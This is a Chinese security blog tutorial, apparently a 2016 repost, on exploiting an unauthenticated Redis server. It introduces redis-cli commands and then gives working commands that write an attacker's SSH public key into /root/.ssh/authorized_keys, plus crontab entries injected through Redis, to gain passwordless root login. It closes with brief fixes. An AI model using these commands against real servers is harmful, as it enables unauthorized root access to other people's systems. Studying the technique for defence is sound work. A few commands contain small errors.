IT技术博客大学习 共学习 共进步
全部 移动开发 后端 数据库 AI 算法 安全 DevOps 前端 设计 开发者

Redis未授权配合SSH免密码登录漏洞及修复

绿盟科技博客 2016-03-14 23:25:35 累计浏览 3,278 次
本机暂存

   本文作者带大家了解什么是Redis,并且了解Redisc客户端redis-cli、Redis Desktop Manager、Redis的常用的Key操作命令、配置命令,讲解Redis未授权利用配合SSH免密码登录,并且解决利用Redis写公钥依然无法登录的情况以及相关的修复方案,欢迎讨论。 本文由

   红客联盟推荐 由U神原创

   Rdis未授权访问主机:CentOS 7 192.168.199.166
Hacker主机:Kali 2016 192.168.199.199

1、什么是Redis

   Redis 是一个开源的使用ANSI C语言编写、Key-Value数据库,并提供多种语言的API,所谓的KEY对Value指的是每一个Key都对应一个value值。value也可以 是null。与memcached一样,为了保证效率,数据都是缓存在内存中。区别的是redis会周期性的把更新的数据写入磁盘或者用户可以自己手工输 入save命令保存在服务器上,并且在此基础上实现了master-slave(主从)同步。

Redis

Redis

2、Redis客户端

   Redis默认安装好默认端口是6379
Redis默认配置是不对外开放,也就是不允许外联,需要用户手工修改/etc/redis/redis.conf
Redis默认情况下是无需任何账户密码进行连接的
Redis安装之后默认会有一个叫 “redis-server”的服务端用于启动redis服务,启动命令“redis-server /etc/redis/redis.conf”
Redis安装之后默认还会有一个“redis-cli”的客户端,用于连接redis数据库,可以自身连接也可以连接其它主机上的redis

redis-cli 客户端命令之详解

   redis-cli 常用命令:

-h  :指定要连接的主机IP或域名  
-p :指定连接的端口  
-a :指定密码  
-r  :执行指定的命令  
-n  :数据库名  
-x :将最后一个参数输出为value

   我们在hacker主机Kali下去连接目标主机CentOS的redis,如果我们执行keys *命令不会返回需要认证的那说明目标的redis不需要密码认证。

命令

命令

GUI客户端:Redis Desktop Manager

   GUI连接Redis话可以点击 :Connect to Redis Server创建一个连接,可以管理Redis数据,如果需要执行命令,可以在如下的“centos” 右击选择 Console进行Redis的命令行界面,命令行界面在最右下角显示。

客户端

客户端

3、Redis的常用命令

   key操作命令

   set key value :创建一个key对应的值,如果set test 123456,其中test是key, 123456则是value

1

1

   get key :获取key的值 :

2

2

   keys * :获取所有的key,也可以通配符形式搜索指定的key,如果表示当前有两个key

3

3

4

4

   expire key 10 :设置key的过期时间为10秒,10秒之后这个key就没了

5

5

   del key :删除某个key

6

6

   服务器操作命令

   info:获取redis以及服务器的基本信息

7

7

   config get dir :获取cat

8

8

   config set dir /root/ :设置redis的备份路径为/root/,如果提示没权限说明你当前无权限设置该目录

9

9

   config set dbfilename test.php :设置备份文件的名字为test.php,默认为dump.rdb。

   config get dbfilename :自然就是获取备份数据库的名字。

10

10

   save : 将数据库的内容备份到本地磁盘,默认备份在安装Redis的src目录,名字为dump.rdb

4、Redis未授权利用造成SSH免密码登录

满足Redis是以root权限运行
满足服务器上存在.ssh目录,听说是要用SSH登录过都存在,但是我验证好像不是这么回事

ssh-keygen -t rsa 生成公私钥

11

11

在~/.ssh目录下执行:

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt  
这条命令的含义是将id_rsa.pub的内容输出到key.txt,前后各加上两行空行,防止出错
12

12

   cat key.txt | redis-cli -h 192.168.199.166 -x set crackit

   这条命令的意思是 连接目标192.168.199.166的redis 通过-x参数将key.txt 设置为 key “crackit” 的value 实际上对方的数据库上已经有一个key —value

13

13

   redis-cli -h 192.168.199.166 # 连接目标主机的redis
config get dir #获取redis的备份路径
config set dir /root/.ssh #设置数据库的备份路径
config set dbfilename authorized_keys #设置备份的数据库名称为authorized_keys
config get dbfilename # 查看数据库名是否正确设置
key * #查看我们的key是否成功创建
save # 将数据保存在硬盘之中

14

14

   最后可以成功免密码登录

15

15

   原理: 其实原理是在数据库中插入一条数据,将本机的公钥作为value,key的名字随意,然后通过设置备份数据库的路径为/root/.ssh以及对数据库备份名字为authorized_keys,然后这样就可以在目标服务器的路径生成一个授权KEY。

   注意: 建议是去通过该漏洞获取webshell,获取ssh会发生很多不同问题,比如说save是备份所有数据库,这样会造成很多乱七八糟的数据备份到授权key中导致无法连接,如果在webshell中就不容易出现解析出错的问题了

5、解决redis写公钥依然无法登录的情况

   有些朋友在利用Redis写公钥依然无法空密码登录,为什么呢?
解决方法

   A、将自己的公钥通过以上方法生成authrized_keys,然后通过本地形式(本机测试本机方式),ssh localhost 方式尝试登录,如果能正常登录,则表示授权的KEY没有任何问题

   B、被渗透的服务器上授权key的权限问题应该为600
利用Linux任务计划来设置授权的authorized_keys权限为600。
echo -e “\n\n*/1 * * * * /bin/chmod 600 ~/.ssh/authorized_keys\n\n”|redis-cli -h 127.0.0.1 -x set 1
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

   释义:上面这段其实也是保存redis数据的一个过程,不过这个过程是将数据保存为admin,存放在/var /spool/cron下,这个是专门存放任务计划的,而Key 1的值的含义则是:设置任务计划一分钟后执行chmod 600修改authorized_keys的权限为600

   C、服务器没有.ssh目录的问题

   利用Linux任务计划来创建该文件夹
echo -e “\n\n*/1 * * * * /bin/make ~/.ssh \n\n”|redis-cli -h 127.0.0.1 -x set 2
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

   D、.ssh目录权限问题

   利用Linux任务计划来设置.ssh目录的权限问题
echo -e “\n\n*/1 * * * * /bin/chmod 700 /home/root/.ssh/\n\n”|redis-cli -h 127.0.0.1 -x set 1
redis-cli -h 127.0.0.1 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 config set dbfilename root
redis-cli -h 127.0.0.1 save

6、修复方案

   禁止Root启动redis
修改安装目录下的redis.config 将blin 0,0,0,0 设置为指定IP可以登录或者本地登录127.0.0.1
设置密码requirepass  test123!@#$$

同分类推荐文章

  1. 绿盟科技《APT组织研究年鉴》(2026 版)正式发布 (2026-06-16 20:21:10)
  2. 【已复现】Linux内核Fragnesia权限提升漏洞(CVE-2026-46300) (2026-06-15 10:53:58)
  3. 企业文档安全最佳实践(二):给文档上“身份证”——手动标密与智能自动标密 (2026-06-12 17:18:33)

查看更多 安全 文章 →

建议继续学习

  1. redis源代码分析 - persistence (累计阅读 32,228)
  2. 高效Linux用户需要了解的命令行技能 (累计阅读 12,822)
  3. Redis消息队列的若干实现方式 (累计阅读 12,085)
  4. linux 建立两台机器的信任关系 (累计阅读 11,481)
  5. 基于Redis构建系统的经验和教训 (累计阅读 10,520)
  6. 浅谈redis数据库的键值设计 (累计阅读 9,353)
  7. 【2014年版】异地购房提取北京公积金 (累计阅读 9,146)
  8. sshd+chrome+switchsharp翻墙 (累计阅读 8,783)
  9. redis运维的一些知识点 (累计阅读 8,681)
  10. redis在大数据量下的压测表现 (累计阅读 8,292)